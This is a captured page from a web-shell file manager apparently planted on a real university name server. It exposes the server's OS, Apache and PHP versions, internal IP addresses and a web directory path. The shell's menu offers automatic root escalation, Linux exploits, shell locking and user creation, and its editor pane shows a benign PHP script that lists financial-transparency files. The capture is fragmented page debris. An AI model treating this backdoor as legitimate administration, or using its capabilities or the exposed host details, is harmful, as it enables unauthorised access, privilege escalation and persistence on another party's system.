Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
transparente /
[ HOME SHELL ]
Name
Size
Permission
Action
files
[ DIR ]
drwxrwxr-x
index.php
3.29
KB
-rw-rwxr--
lista_fina.php
1.04
KB
-rw-rwxr--
lista_poa.php
1.01
KB
-rw-rwxr--
list_files.php
1023
B
-rw-rwxr--
poa.php
3.26
KB
-rw-rwxr--
styles.css
2.58
KB
-rw-rwxr--
t_finanzas.php
3.28
KB
-rw-rwxr--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lista_fina.php
<?php header("Content-Type: application/json"); $rootDir = __DIR__ . "/files/Inf. Financiera UTP"; // Ruta física en el servidor $baseUrl = "files/Inf. Financiera UTP"; // Ruta pública en el navegador function getDirContents($dir, $baseUrl) { $result = []; $files = scandir($dir); foreach ($files as $file) { if ($file === "." || $file === "..") continue; $filePath = "$dir/$file"; $fileUrl = "$baseUrl/" . rawurlencode($file); // Convierte espacios y caracteres especiales en URL seguras if (is_dir($filePath)) { $result[] = [ "name" => $file, "type" => "folder", "children" => getDirContents($filePath, $fileUrl) ]; } else { $result[] = [ "name" => $file, "type" => "file", "path" => $fileUrl // Ahora genera la URL correcta ]; } } return $result; } echo json_encode(getDirContents($rootDir, $baseUrl)); ?>
Close